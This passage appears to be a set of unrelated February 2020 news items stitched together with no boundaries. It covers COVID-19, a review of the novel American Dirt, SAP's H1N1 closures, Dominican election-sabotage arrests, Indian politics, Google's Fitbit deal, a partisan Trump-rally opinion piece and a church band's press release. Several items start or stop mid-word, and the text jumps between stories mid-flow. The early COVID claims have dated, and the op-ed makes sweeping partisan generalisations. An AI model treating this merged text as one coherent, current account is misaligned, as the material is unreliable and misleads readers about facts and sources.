intermediate host to amplify the virus, and possibly even to bring it to the market, nor what species that host might have been.' So far the fatalities are quite low. Why are health experts so worried about it? Experts say the international community is concerned about the virus because so little is known about it and it appears to be spreading quickly. It is similar to SARS, which infected 8,000 people and killed nearly 800 in an outbreak in Asia in 2003, in that it is a type of coronavirus which infects humans' lungs. It is less deadly than SARS, however, which killed around one in 10 people, compared to approximately one in 50 for COVID-19. Another reason for concern is that nobody has any immunity to the virus because they've never encountered it before. This means it may be able to cause more damage than viruses we come across often, like the flu or common cold. Speaking at a briefing in January, Oxford University professor, Dr Peter Horby, said: 'Novel viruses can spread much faster through the population than viruses which circulate all the time because we have no immunity to them. 'Most seasonal flu viruses have a case fatality rate of less than one in 1,000 people. Here we're talking about a virus where we don't understand fully the severity spectrum but it's possible the case fatality rate could be as high as two per cent.' If the death rate is truly two per cent, that means two out of every 100 patients who get it will die. 'My feeling is it's lower,' Dr Horby added. 'We're probably missing this iceberg of milder cases. But that's the current circumstance we're in. 'Two per cent case fatality rate is comparable to the Spanish Flu pandemic in 1918 so it is a significant concern globally.' How does the virus spread? The illness can spread between people just through coughs and sneezes, making it an extremely contagious infection. And it may also spread even before someone has symptoms. It is believed to travel in the saliva and even through water in the eyes, therefore close contact, kissing, and sharing cutlery or utensils are all risky. It can also live on surfaces, such as plastic and steel, for up to 72 hours, meaning people can catch it by touching contaminated surfaces. Originally, people were thought to be catching it from a live animal market in Wuhan city. But cases soon began to emerge in people who had never been there, which forced medics to realise it was spreading from person to person. What does the virus do to you? What are the symptoms? Once someone has caught the COVID-19 virus it may take between two and 14 days, or even longer, for them to show any symptoms but they may still be contagious during this time. If and when they do become ill, typical signs include a runny nose, a cough, sore throat and a fever (high temperature). The vast majority of patients will recover from these without any issues, and many will need no medical help at all. In a small group of patients, who seem mainly to be the elderly or those with long-term illnesses, it can lead to pneumonia. Pneumonia is an infection in which the insides of the lungs swell up and fill with fluid. It makes it increasingly difficult to breathe and, if left untreated, can be fatal and suffocate people. Figures are showing that young children do not seem to be particularly badly affected by the virus, which they say is peculiar considering their susceptibility to flu, but it is not clear why. What have genetic tests revealed about the virus? Scientists in China have recorded the genetic sequences of around 19 strains of the virus and released them to experts working around the world. This allows others to study them, develop tests and potentially look into treating the illness they cause. Examinations have revealed the coronavirus did not change much changing is known as mutating much during the early stages of its spread. However, the director-general of China's Center for Disease Control and Prevention, Gao Fu, said the virus was mutating and adapting as it spread through people. This means efforts to study the virus and to potentially control it may be made extra difficult because the virus might look different every time scientists analyse it. More study may be able to reveal whether the virus first infected a small number of people then change and spread from them, or whether there were various versions of the virus coming from animals which have developed separately. How dangerous is the virus? The virus has a death rate of around two per cent. This is a similar death rate to the Spanish Flu outbreak which, in 1918, went on to kill around 50million people. Experts have been conflicted since the beginning of the outbreak about whether the true number of people who are infected is significantly higher than the official numbers of recorded cases. Some people are expected to have such mild symptoms that they never even realise they are ill unless they're tested, so only the more serious cases get discovered, making the death toll seem higher than it really is. However, an investigation into government surveillance in China said it had found no reason to believe this was true. Dr Bruce Aylward, a World Health Organization official who went on a mission to China, said there was no evidence that figures were only showing the tip of the iceberg, and said recording appeared to be accurate, Stat News reported. Can the virus be cured? The COVID-19 virus cannot be cured and it is proving difficult to contain. Antibiotics do not work against viruses, so they are out of the question. Antiviral drugs can work, but the process of understanding a virus then developing and producing drugs to treat it would take years and huge amounts of money. No vaccine exists for the coronavirus yet and it's not likely one will be developed in time to be of any use in this outbreak, for similar reasons to the above. The National Institutes of Health in the US, and Baylor University in Waco, Texas, say they are working on a vaccine based on what they know about coronaviruses in general, using information from the SARS outbreak. But this may take a year or more to develop, according to Pharmaceutical Technology. Currently, governments and health authorities are working to contain the virus and to care for patients who are sick and stop them infecting other people. People who catch the illness are being quarantined in hospitals, where their symptoms can be treated and they will be away from the uninfected public. And airports around the world are putting in place screening measures such as having doctors on-site, taking people's temperatures to check for fevers and using thermal screening to spot those who might be ill (infection causes a raised temperature). However, it can take weeks for symptoms to appear, so there is only a small likelihood that patients will be spotted up in an airport. Is this outbreak an epidemic or a pandemic? The outbreak was declared a pandemic on March 11. A pandemic is defined by the World Health Organization as the 'worldwide spread of a new disease'. Previously, the UN agency said most cases outside of Hubei had been 'spillover' from the epicentre, so the disease wasn't actually spreading actively around the world. The book concerned is American Dirt, by New York writer Jeanine Cummins. Released in January, it is about a Mexican mother and her young son who must flee Mexico for the US following the massacre by a drug cartel of 16 family members. The book has unleashed a storm of controversy as critics question Cummins right as a white woman to write about Mexican migrants. When a publisher has to cancel a book tour because of specific threats to booksellers and the author, you know theres something wrong. Cummins anticipated this criticism in an unusually frank authors note, explaining that she wrote the novel because she was frustrated by the tenor of the public discourse surrounding immigration. She was worried that as a non-migrant and non-Mexican, she had no business writing it, but was persuaded when a Mexican academic told her, We need as many voices as we can get telling this story. The book got off to a flying start; Oprah selected it for her book club, Ann Patchett and Stephen King endorsed it and early reviews were good. Then critics, many of them Latin American, started to attack the book, describing it as trauma porn and pointing to factual inaccuracies (none of them major). They accused Cummins of cultural appropriation and urged people to read books by Mexican writers instead. Loading Should you read American Dirt? Yes. It is a fast-paced thriller which has at its heart the love of a mother for her child. It gave me an insight into a world I knew nothing about. Yes, I would like to read Mexican authors as well, and to see greater diversity in the publishing industry, but I dont believe writers should only detail their own firsthand experiences. How impoverished would our literature be if that was the rule? To read more from Good Weekend magazine, visit our page at The Sydney Morning Herald, The Age and Brisbane Times. SAP has said two of its employees in Bengaluru have tested positive for H1N1 virus (swine flu) and as a precautionary measure, it has closed offices in Bengaluru, Gurugram and Mumbai for extensive sanitisation. New Delhi: SAP has said two of its employees in Bengaluru have tested positive for H1N1 virus and as a precautionary measure, it has closed offices in Bengaluru, Gurugram and Mumbai for extensive sanitisation. The employees based in these locations have been asked to work from home, the German tech giant said in a statement. "Two SAP India employees based in Bangalore (RMZ Ecoworld office) have tested positive for the H1N1 virus. Detailed contact tracing that the infected colleagues may have come into contact with is underway," SAP India said in an emailed statement. It added that as a precautionary measure, all SAP India offices across Bengaluru, Gurugram and Mumbai have been closed for extensive sanitisation. "...all SAP employees based in these locations have been asked to work from home till further notice," the statement said. In an internal communication to employees, the company said: "considering the situation, we encourage you to work from home beginning 20 February till 28 February". Stating that it is monitoring the situation closely, SAP advised employees to seek medical advice if they or their family members have any symptoms of cold, cough with fever. "The health of our employees is our priority and it is critical that we provide the current information and guidance to help limit the spread of the H1N1 virus," it added. President of the Austrian National Council Wolfgang Sobotka states the conflict in Ukraine remains the biggest challenge in the OSCE region. He said this during the 19th winter meeting of the OSCE Parliamentary Assembly in Vienna on Thursday, February 20, an Ukrinform correspondent reported. "The crisis in and around Ukraine remains the biggest challenge in the OSCE region," Sobotka said. "In the autumn, negotiations between Kyiv and Moscow broke the deadlock: a ceasefire and an exchange of prisoners gave hope, but there is still a hard way to secure peace," he said. Sobotka noted that diplomatic efforts to resolve the conflict should continue, and the OSCE parliamentary dimension should join the process. The goal must be a political decision, the Austrian politician said. ish Authorities arrested two men who they alleged were involved in Dominican Republic's February 16 election sabotage. The National Police arrested Colonel Ramon A. Guzman and Claro telecom technician Manuel Antonio Regalado on Wednesday night for plotting to sabotage the February 16 election. Police spokesman Frank Felix Duran said the accused are being held on an arrest warrant issued by the court. They are also being charged for violating the Electoral Law. Duran said the suspects were initially arrested for other crimes, but investigation showed the Claro technician to have audio with evidence of what was done to the equipment. He also expressed his willingness to retrieve the equipment while using his company's uniform and vehicle to cover up the crime. Manuel Regalado was also identified to have sent a text to Colonel Guzman with allegations of machines being sabotaged. "Brother, yesterday they downloaded a different configuration to the system, proving that the counting configuration would not allow that the candidates would not be reflected," he said. Video footage on social media also showed representatives of JCE arriving the night before without other delegates from other parties present. The Central Electoral Board halted voting on February 16 due to a series of technical difficulties in the electronic ballot machines. More than 7.4 million voters were due to vote and elect 3,849 positions in 158 municipalities. Dominican protesters took to the streets after a glitch in the electronic voting system on Sunday's municipal elections stopped operations just four hours after voting began. The president of the Dominican Republic's electoral body Julio Cesar Castanos said roughly half of the electronic ballot machines did not work properly and many virtual ballot papers did not load. "We are going to initiate a thorough investigation of what happened and why those ballot papers did not load correctly," Castanos said in a press conference. The ballot machines were used in cities and regions with high population density. These 18 municipalities accounted for 62.4% of the electorate. Castanos said failures only occurred in the municipalities that used electronic voting. Dominicans are worried there may be more than technical issues behind the cancellation. According to The New York Times, voters noticed the names of candidates who were not a part of the Dominican Liberation Party (PLD) did not appear on the digital ballots. This led many to believe the glitch was intentional in order to benefit the PLD. The protesters were bearing signs that said 'Don't mess with my democracy' and 'The public is revolting.' Hashtags such as #SeVan (They're leaving) and #PaFueraLaJunta (Out with the JCE) also trended on social media. Another sign said, "15 mil Millones de pesos a la basura" (15 million pesos in the trash), which speaks of the number of tax pesos spent on the elections. Hundred of Dominicans stormed the street in protest of Junta Central Electoral (JCE) board member's alleged corruption. They headed over to the JCE building and demanded the electoral board to resign from their positions. A video surfaced on the internet showing a tear gas bomb being thrown from inside the JCE headquarters around 8 pm. President Medina addressed the public in a televised statement two days after the elections were canceled. "It is time to rectify some errors and continue," he said. Municipal elections will be continued on March 15. Up to 150 Australian residents still trapped in the centre of the coronavirus outbreak in China have pleaded with the Morrison government to send one more rescue flight to Wuhan, as their medication runs out, mental health deteriorates and fears grow they will lose their jobs. The permanent residents and citizens are the last Australians stranded in a high-risk coronavirus zone, after the government evacuated 164 Australians off the disease-ridden Diamond Princess cruise ship. The flu-like disease has killed 2247 people and infected 76,718, with more than 62,000 cases in Hubei province, where the 150 Australians are located. Coles marketing employee Tracy Wang said she missed her Australian citizenship test last Thursday and now felt "abandoned and hopeless". Australian permanent resident Tracy Wang has been stranded in Wuhan for more than a month. The 30-year old from Melbourne sent a message on Facebook on Friday asking friends to please let the public know [that we] desperately need help". A Punjab and Haryana High Court judge has acceded to a request of a counsel to seek adjournment of a case while apprehending that the court was in bad mood. Justice R N Raina also brought on record the request of counsel K S Sidhu when the matter came up for hearing before the court earlier this month. The counsel requested for the adjournment of the case after he noticed that the court had already dismissed four cases prior to his. In the February 4 order, Justice Raina observed, The counsel, assuming the mood of the court is bad this morning dismissing the first four urgent cases one after the other with orders dictated in court, prays that time may be granted to him to argue the case on some other day. I grant permission for an adjournment, but not without saying that those cases were not worth admission. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Telugu Desam Party (TDP) leader K Atchen Naidu on Friday accused the ruling YSR Congress Party of indulging in 'mud-slinging' against him in connection with the alleged irregularities in ESI procurements done in the last six years. "YSRCP is intentionally slinging mud on me. Tele-health services were started first in Telangana, and I had simply sent a note for the implementation of the same scheme in Andhra Pradesh. I did not order to allot the contract to a particular person. It was done based on the Central government's orders," Naidu, former Labour Minister, said in a video released by him. The officials of Vigilance Department in Andhra Pradesh have found huge irregularities in the purchase of medicines and other equipment by ESI from 2014 to 2019. These irregularities have been found in purchases for four ESI hospitals, three diagnostic centres and 78 ESI dispensaries by vigilance sleuths after studying records. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Maharashtra Chief Minister Uddhav Thackeray on Friday accused some political leaders of instigating people against the amended citizenship law that is being opposed by people in several parts of the country. Thackeray, who stressed that there was no reason for people to be worried about the citizenship law or the national population register. Those people who have instigated it, they need to understand CAA Why are we opposing it, why are we supporting it. First we need to understand it, Thackeray said to , when asked if he would make efforts to convince people about CAA. Thackeray, who was on his first visit to Delhi after becoming chief minister, started his visit with a meeting with Prime Minister Narendra Modi. At the media briefing that followed, Uddhav Thackeray said he had fruitful discussions with the prime minister and had spoken about issues concerning Maharashtra. The discussion at some point veered to the citizenship law and the protests around it. Watch | No one needs to fear CAA, NPR: Uddhav Thackeray after meeting PM Modi Thackeray said he did discuss citizenship law, National Population Register and the National Register of Citizens with the prime minister and no one has any reason to fear the CAA. This isnt the first time that the Shiv Sena chief has made this point about the citizenship law. But the last time he spoke about the topic, he had been ambivalent about the population register. Thackeray had then said that though there did not seem anything out of the ordinary in carrying out the exercise, he would need to personally go through the NPR questions before he makes up his mind. At Fridays meeting, there were no such riders. Asked if he was all right with the questions, Uddhav signalled that he wasnt going to block the population register update due to begin soon. NPR also, no one is going to throw anyone out (because of the population register). It is about the census that happens every 10 years. But if it starts and we think that there is something dangerous about it, then there can be a dispute at that point, he said. The Maharashtra chief ministers public assertions on the CAA and the NPR ahead of his meeting with Sonia Gandhi a few minutes later is significant. One Congress leader wondered if the timing of Uddhav Thackerays briefing was designed to signal to his allies that he was not going to change his stand on this topic. He also pointed out that the contents of Uddhav Thackerays stand on CAA and the NPR appeared to mirror the stand of its ex-ally, BJP and the ruling national coalition NDA. The Shiv Sena had exited the NDA last year when it broke up with the BJP over its refusal to let him be the chief minister. Thackeray had, even after his exit, acknowledged that the Sena was ideologically aligned with the BJP rather than its two allies, the Congress and the NCP. He had, however, underscored that the three parties would be able to work it out. Thackeray made the same point at the briefing even as he struck a discordant note on CAA and NPR. There is no friction among allies. We are going to run Maha govt for 5 years, he said. SHARE THIS ARTICLE ON Egypt Tuesday said it is interested in sharing its military and civil industrialization expertise with Senegal. Mohamed al-Assar, Egyptian Minister of State for Military Production received in Cairo Tuesday Senegalese Minister of the Armed Forces, Sidiki Kaba to discuss joint cooperation in the fields of military and civil industrialization. Assar expressed Egypts eagerness to cooperate with the armed forces of the Western African country in the field of supplying military equipment, weapons and ammunition, training technicians and cyber security. Egypt ranks 1st on Global Fire Powers 2020 African Military Strength index. The Senegalese official wished to see Egyptian military production companies cooperating with his countrys armed forces in various manufacturing fields. ROCK SPRINGS (Wyoming News Exchange) A former Green River resident who is serving multiple life terms for murder and attempted murder is alleging the mayor of Green River has violated his oath of office in not responding to letters seeking support in reopening one case. Steven Mitchell served Mayor Pete Rust with a commercial affidavit by certified letter on Nov. 25, 2019, requesting a response to a separate affidavit stating that during his trial at least one witness was coerced into testifying against him. Mitchell was convicted in Wyoming state court of one count of first-degree murd... The Bhima-Koregaon judicial inquiry commission has received an application seeking summoning of NCP president Sharad Pawar in view of certain statements made by him in the media about the 2018 caste violence near Pune Pune: The Bhima-Koregaon judicial inquiry commission has received an application seeking summoning of NCP president Sharad Pawar in view of certain statements made by him in the media about the 2018 caste violence near Pune. Sagar Shinde, a member of the Vivek Vichar Manch, a social group, on Thursday filed the application before the panel through his advocate Pradip Gawade, seeking that Pawar be asked to depose before the two-member commission. In his plea, Shinde cited a press conference of Pawar held on 18 February. As per the application, at the press meet Pawar alleged that right-wing activists Milind Ekbote and Sambhaji Bhide had created a "different" atmosphere in Bhima-Koregaon, located on outskirts of Pune city, and its vicinity. "In the same press conference, Mr Pawar also alleges that the role of Pune city police commissioner is doubtful and must be investigated. These statements are within the purview of the terms of reference of this commission and therefore they are relevant," Shinde said the plea. The applicant said he has reasons to believe Pawar has relevant and additional information, apart from what he has already shared in his earlier affidavit filed before the panel regarding the violence and other related matters. "Therefore, in the interest of justice, this applicant makes a prayer to the commission to issue a summon to Mr Pawar and require him to depose in person and furnish additional information he has so that the commission can arrive at its findings in a just and fair manner," he said. Pawar had, on 8 October, 2018, filed an affidavit before the commission, headed by former Bombay High Court Chief Justice JN Patel. Former Maharashtra chief secretary Sumit Mullick is the other member of the judicial panel. The former Union minister, in his affidavit, had stated, "I would not be in a position to factually point out the chronology of the said events as that would be the domain of the existing Law and Order machinery." He had also stated, "I would not be in a position to specifically make allegations against any particular organisation. "However, it is unfortunate that the state government and law and enforcement authorities failed to protect the interest of the common man residing at Bhima-Koregaon and its vicinity." Pawar's party is now a key constituent in the Shiv Sena-led government in the state. The commission was set up when the BJP was in power in Maharashtra. The former chief minister had further stated the active role of "right-wing" forces behind the violence at Bhima-Koregaon can not be ruled out. However, concrete evidence in this regard can be gathered only by law enforcement agencies of the state, he had said in the affidavit. Gathering of anti-social elements in large numbers at Bhima-Koregaon indicated the failure of law enforcement agencies, the NCP leader had told the panel. "Hence, the state of Maharashtra has to own the responsibility of a failed law and order situation on 1 January, 2018," he had stated. On 1 January, 2018, violence had erupted in Bhima-Koregaon and nearby areas during the 200th anniversary celebrations of the Bhima-Koregaon battle. The commission was constituted by the then BJP government to find out what led to the violence. The Pune police have alleged "provocative" speeches given at the 'Elgar Parishad conclave', held on 31 December, 2017, triggered the violence. According to the police, Elgar Parishad conclave organsiers had links with Maoists. PORT BYRON, N.Y. -- A man has been accused of trying to have a large stash of meth sent to him in Cayuga County. James S. Hall, 53, of 36 Mill St., Port Byron, was arrested Thursday by detectives with the Cayuga County Sheriffs Office and charged with trying to possess at least 2 ounces of methamphetamine. He was arrested after an extensive investigation that started with a tip from the public, deputies said in a news release. Hall tried to get a large quantity of meth delivered through a parcel service, deputies said. Hall has been charged with attempted second-degree criminal possession of a controlled substance, a felony, and two counts of seventh-degree criminal possession of a controlled substance, a misdemeanor. He was released from custody after his arraignment, deputies said. The sheriffs office was assisted by the New York State Police, the Drug Enforcement Administration and the Finger Lakes Drug Task Force. The investigation remains open. The sheriffs office has asked anyone with information to call (315) 253-3902 or submit anonymous tips through the departments website. Thanks for visiting Syracuse.com. Quality local journalism has never been more important, and your subscription matters. Not a subscriber yet? Please consider supporting our work. The Politburo will encourage all economic sectors, especially private businesses, to invest in energy projects, Party General Secretary, President Nguyen Phu Trong has said. A solar energy project in Ninh Son District, southern Ninh Thuan Province which was put into operation last year. He approved a resolution which sets the direction for national energy development over the next 15 years last week. In the resolution, Trong asked for creating a transparent environment and removing all barriers to attract and encourage the private sector to invest in domestic and foreign energy projects. According to the Politburo, Vietnam is facing challenges in meeting national energy security targets and still has to import energy due to insufficient domestic supplies. Many power projects have been delayed and several projects invested by State-owned enterprises have incurred losses while the efficiency of energy exploitation remains low. The national energy development strategy aims to ensure national energy security, which serves as a foundation for growth. It also prioritises rapid and sustainable energy development along with environmental protection and national security safeguarding. The strategy also aims to diversify sources of energy and effectively use renewable, clean and new energy sources. Vietnam will prioritise wind and solar power and encourage investment in power plants using urban waste, biomass and solid waste in parallel with environmental protection and the circular economy, the Party General Secretary said. According to the resolution, the proportion of renewable energy should account for 15 to 20 per cent of total power output by 2030 and 25 to 30 per cent by 2045. The Politburo has set saving energy and protecting the environment as the core policy. By 2030, the energy-saving level is set to make up for 7 per cent of total power consumption and about 14 per cent by 2045. The Politburo has also urged for the use of technology in the energy sector, looking towards a future in which Vietnam will be able to manufacture most energy-producing and using devices. According to the strategy, Vietnam will build a smart and effective power network connected to the region. By 2030, Vietnam will be among three ASEAN countries with the highest access-to-electricity index. Local oil refinery facilities are expected to meet 70 per cent of domestic demand. To realise those targets, it is necessary to speed up oil and gas exploration activities to increase reserves and production. The Politburo has called for the development of a new coal strategy to make effective investment overseas, import coal in the long term as well as exploit the coal potential in the Red River Delta. VNS Actions advised for Vietnam to lure investors amid energy crunch Legal or regulatory obstacles with a low level of certainty and issues concerning grid access for private projects, are the most pressing to private investment. Vietnam supports private investment in electricity transmission lines Allowing private investors to develop electricity transmission lines is expected to be the best solution to settle the electricity shortage. Google announced it was buying Fitbit for $2.1 billion in November 2019. REUTERS/Dado Ruvic/File Photo Google said it would acquire Fitbit for $2.1 billion in November 2019. But regulators might put the acquisition on ice over privacy concerns. The European Data Protection Board (EDPB), which advises the European Commission on data protection law, says it's worried about the massive tech firm accumulating yet more personal data. Google is already under investigation by the EU for how it collects user data, and the US Department of Justice is separately investigating the Fitbit acquisition. Visit Business Insider's homepage for more stories. Google's acquisition of wearables company Fitbit could be under threat from the EU. Google announced its acquisition of Fitbit for $2.1 billion in November 2019, marking a serious entry into the wearables market, currently dominated by Apple. The European Data Protection Board (EDPB) issued a statement on Thursday voicing concerns over the prospective deal. It cited, in particular, the strict privacy rules that govern European users' online information, known as the GDPR. "There are concerns that the possible further combination and accumulation of sensitive personal data regarding people in Europe by a major tech company could entail a high level of risk to the fundamental rights to privacy and to the protection of personal data," the EDPB said in its statement, as first spotted by TechCrunch. "The EDPB reminds the parties to the proposed merger of their obligations under the GDPR and to conduct a full assessment of the data protection requirements and privacy implications of the merger in a transparent way. The Board urges the parties to mitigate possible risks to the rights to privacy and data protection before notifying the merger to the European Commission," it added. The EDPB is an independent body to the European Commission, the EU's antitrust regulator, but advises on applying data protection law. In response to the EDPB's statement, a Google spokesman told Business Insider: Story continues "We are acquiring Fitbit to help us develop devices in the highly competitive wearables space and the deal is subject to the usual regulatory approvals. Protecting peoples' information is core to what we do, and we will continue to work constructively with regulators to answer their questions." A spokesperson for the European Commission told TechCrunch Google and Fitbit are yet to formally notify the regulator of the merger. The tech giant is already the subject of an EU antitrust investigation into how it amasses and leverages user data, while back in the US the Department of Justice is also investigating Google's purchase of Fitbit. Read the original article on Business Insider On Wednesday night, Democrat candidates savagely attacked each other in Nevada, while the audience cheered on socialized medicine, wealth taxes, and identity politics. Meanwhile, also on Wednesday night, Trump-supporters in Arizona cheered mightily as two men reverently carried a 100-year-old WWII veteran to his seat at a Trump rally. From the beginning, Democrats have denigrated not just Trump, but his supporters. Immediately in the wake of the election, the word went out from Democrat headquarters: Trump supporters are evil, racist, sexist, homophobic people who must be shunned. Every Trump-supporter remembers being "unfriended" on Facebook, harangued on the streets, hated in Hollywood, and attacked on every media platform. The reality is different as reality always is once you step back from the Democrat narratives. After all, Trump-supporters are the direct political descendants of the sunshiny Tea Party people who left rally sites cleaner at rally's end than they were when the rallies began. That same fundamental decency was on display again during the Trump rally in Phoenix on Wednesday night. The event generated a viral video showing Trump supporters carefully carrying 100-year-old World War II Navy veteran Ervin Julian down to his seat at the rally: This happened at the @realDonaldTrump rally in Phoenix. Lots of teamwork here. These men carrying a World War II veteran to his seat. Got to admit I got a lump in my throat pic.twitter.com/E8vV8gthQn Kari Lake (@KariLakeFox10) February 19, 2020 Trump's team instantly caught on to the fact that something special had happened, and Trump reported that information to the assembled crowd. More than that, Trump gave a big shout-out both the veteran and the men who carried him and personally delivered signed hats to them, right at the rally: Wow, this moment is incredible.@realDonaldTrump just surprised a disabled WWII veteran and the two men who carried him to his seat with a shout out and signed hats that @DonaldJTrumpJr personally delivered to them on the spot. I LOVE THIS SO MUCH. pic.twitter.com/Oxe6Avi65q Caleb Hull (@CalebJHull) February 20, 2020 This is who Trump and supporters are. They support people for their deeds, not their skin color or victim identity status. One of Hillary's campaign slogans was "love trumps hate," but the reality is that the left is riddled with hate. Leftists hate the capitalism that has brought more people out of poverty than any other system in the world throughout the long span of human history. They hate "toxic" white men. They hate the patriarchy. They hate straight people. They hate Jews. They hate traditional Christians. They hate the military. They hate the Constitution. Most of all, they hate Donald Trump, who symbolizes everything they hate. Meanwhile, in Trump's world, people love America, love the Constitution, love the military that's sustained freedom for so long, love the free market system, and love Israel and traditional Judeo-Christian values. Most importantly, they approach people without regard to race, color, creed, sex, sexual orientation, or anything else that tells one nothing about a person's heart and a person's values. And yes, one can see all of that from a video showing two men reverently carrying a frail WWII veteran, as well as a rapturous crowd and the American president celebrating that moment. State transportation officials are looking for the publics input on the six alternatives presented as ways of potentially linking Western Massachusetts as far as Pittsfield to Boston by commuter rail. MassDOT is inviting the public to comment on the east-west passenger rail study at the Sheraton Springfield on Feb. 24 during a meeting scheduled from 1 p.m. to 3 p.m. with east-west rail advisory committee. Anyone interested in submitting comments may do so during Mondays meeting, or send them by email to Project Manager Ethan Britland at planning@dot.state.ma.us. Now: @MassDOT taking public comment on 6 alternatives for passenger train service connecting Western MA w/Boston. Public meeting 2/24, 1 pm, Sheraton #Springfield Monarch Place Hotel. Attend or read this to offer thoughts: https://t.co/LAh6oeO7Gz pic.twitter.com/JzBF8TjGLw Jacquelyn Goddard (@JacqueGoddard) February 21, 2020 MassDOT presented the capital costs associated with the different alternatives during a meeting with the advisory committee earlier this month. The least costly option would cost approximately $2 billion, with the most expensive coming it at over $25 billion. The higher-priced options see higher ridership projections and lower travel times. MassDOT plans to narrow the options down to three as it drafts recommendations. The analysis of the different rail configurations is expected to wrap up in the spring of 2020. Related Content: US intelligence officials told lawmakers in a confidential briefing last week that Russia is meddling in the 2020 campaign to ensure the re-election of President Donald Trump viewing his administration as favourable to Kremlins interests, according to multiple media reports. Though no specifics were reported, but the New York Times, which broke the news of the secret briefing, said Russia intended to interfere in the ongoing 2020 Democratic nominating contests primaries and caucuses and the general elections that are due in November. President Trump is said to have been angered by the hearing and berated the acting Director of National Intelligence (DNI) Joseph Maguire for it, which possibly cost him the permanent job. Richard Grenell, the current US ambassador to Germany, has been named as the new acting DNI. Trump was most upset reportedly about the presence at the hearing of House intelligence chairman, Adam Schiff, the Democrat who headed the impeachment inquiry leading to the presidents impeachment in December, and then acted as the lead House manager to urge the Senate to dismiss the president from office. Shelby Preston, the intelligence official who briefed the lawmakers, is reported to have specifically said that Moscow has developed a preference for Trump. Russia denied it was interfering in the US elections. These are new paranoid reports, which, to our deep regret, will continue to grow in number as the election day approaches, Kremlin spokesperson Dmitry Peskov told reporters. Naturally, they have nothing to do with the truth. Russia has also denied it meddled in the 2016 elections, which was first alleged publicly by US intelligence agencies, and confirmed by Special Counsel Robert Mueller who pinned it on Russian military intelligence GRU and indicted several of its officials for it, who will never be tried probably. President Trump, who has bristled at any suggestion his election was helped by Russians, has been only too willing to accept their denials most famously, favoured President Vladimir Putins denial over his own intelligence agencies at a joint new conference in Helsinki, Finland in 2017. Kerala on Friday bid a tearful adieu to the victims of the ghastly road mishap involving state-run KSRTC bus and a container lorry in neighbouring Tamil Nadu. The bodies of all the 19 passengers killed in the mishap on Thursday had been brought to the state after post-mortem and 15 of them laid to rest, state Transport Minister A K Saseendran said. Nineteen passengers were killed and 27 injured when a tile-laden container lorry crossed into a wrong lane and rammed into the oncoming Ernakulam-bound Kerala State Road Transport Corporation (KSRTC) bus on the Salem-Kochi highway at Avinashi, 40 km from Coimbatore, around 4 am. Tamil Nadu Chief Minister K Palaniswami had on Thursday told the state assembly that 20 people were killed and 28 injured in the accident. According to the transport officials here, two passengers escaped unhurt. Saseendran said the government arranged for ambulances to bring the bodies of the victims to their hometowns. "A total of 19 persons lost their lives in the accident. The last rites of many (15) have been completed," he told PTI. Crime Branch Police ADGP Tomin Thachankary, a former Managing Director of KSRTC, visited the family of Gireesh, the driver of the ill-fated bus. "It's a very sad day. I had honoured both Gireesh and Baiju (conductor) for their selfless services in the past. They were an asset to KSRTC. This is a great loss to their family and to KSRTC," Thachankary told reporters. Girish and Baiju were honoured by the KSRTC management for assisting a woman passenger who took ill during a trip to Bengaluru from Ernakulam in June, 2018. The then KSRTC Managing Director Thachankary had issued a letter to both commending them for taking care of the ailing passenger. Meanwhile, the Motor Vehicles Department of Kerala said a report based on its inquiry into the accident will be submitted on Saturday to the state government by the Palakkad Enforcement Regional Transport Officer Shivakumar. The officer said the accident occurred as the driver of the lorry dozzed off. "The vehicle ran over the road divider resulting in tyre burst and we have found markings on the divider... It seems like the tyre burst after it ran over the divider. The investigation is done by Tamil Nadu government," Shivkumar told reporters. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The United States is preparing to sign a deal with the Taliban on February 29, building on an agreement on reducing violence across Afghanistan, Secretary of State Mike Pompeo said Friday. "Upon a successful implementation of this understanding, signing of the US-Taliban agreement is expected to move forward," he said in a statement released after visiting Saudi Arabia. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Internationally recognized praise band Planetshakers recorded its new single, "SO GOOD," last month along with 30,000 people during a "Praise Party" at SMART Araneta Coliseum in Manila, Philippines. Releasing today (Feb. 21), the song is at iTunes, Apple Music, Spotify, Pandora, Deezer, Google Music and additional digital, streaming and physical retail outlets globally from Venture3Media (V3M). "SO GOOD" is the first single from Planetshakers' upcoming Glory Part Two EP (release date to be announced) and follows the five-song Glory Part One digital EP that was recorded in Melbourne, Australia at Planetshakers Church and released Jan. 10. A tangible, intentional expression of worshippers collectively pursuing the presence of God, the new music is led by Planetshakers' Joth Hunt (who also produced and mixed the recordings), Sam Evans, Aimee Evans, BJ Pridham, Joshua Brown, Rudy Nikkerud, Chelsi Nikkerud and more. "We are passionate about the presence of God, and that's why we continue to record new songs. We want to share what God is doing in the life of Planetshakers," says Russell Evans, Planetshakers Founder and Lead Pastor. "In His presence, that's where the miraculous takes place. That's where our problems all of a sudden become like ant hills, becoming insignificant as we experience supernatural breakthrough and a peace that surpasses all understanding. Our prayer is that as you stream our music, God's presence will fill your life, your home, your workplace, wherever you are, and you will be empowered by the Holy Spirit to see breakthrough." Along with "SO GOOD," each of the new songs released this year have been captured live-in-concert via multi-cameras for a compelling visual experience. The first four of these songs featured on Glory Part One and released on video so far, "How I Praise," "Walls," "I Remember" and "Can't Take My Eyes off You," already have more than 1.4 million streams to date. The new music and videos precede the annual Planetshakers Conferences launching with the "Glory" theme at Melbourne Arena in Melbourne, AU April 1, Royal International Convention Centre in Brisbane, AU (Bowen Hills QLD) April 17 and Every Nation Church in Cape Town, South Africa May 22. This year marks the 23rd anniversary of Planetshakers Conference and its mission to lift up the name of Jesus to a generation. In addition to the "Glory" conferences, Planetshakers is taking the new music and favorites like "The Anthem," "Endless Praise," "Turn It Up" and "Only Way" to audiences around the globe, including to Kiev, Ukraine (5/26) and Jerusalem, Israel (6/1). All the latest Planetshakers tour, music and conference news can be found at Planetshakers.com, YouTube (973,000 subscribers), Instagram (577,000 followers), Spotify (755,000 monthly listeners), Twitter (175,200 followers) and Facebook (over 1.5 million followers). About Planetshakers: Since its inaugural gathering in 1997, Planetshakers has gone on to become a global movement through its annual conferences, international church campuses and numerous live recordings, including multiple Dove Award-nominated projects. The Australia-based collective, led by Senior Pastors Russell and Sam Evans, has hosted gatherings in cities around the world while also launching Planetshakers Church in 2004. With over 17,000 members in Melbourne, Planetshakers Church is one of the fastest growing churches in that nation's history, stretching across five campuses in Melbourne with additional locations in Singapore; Cape Town, South Africa; and Geneva, Switzerland. Celebrating over 20 years of ministry, Planetshakers honors the countless ways God has used its 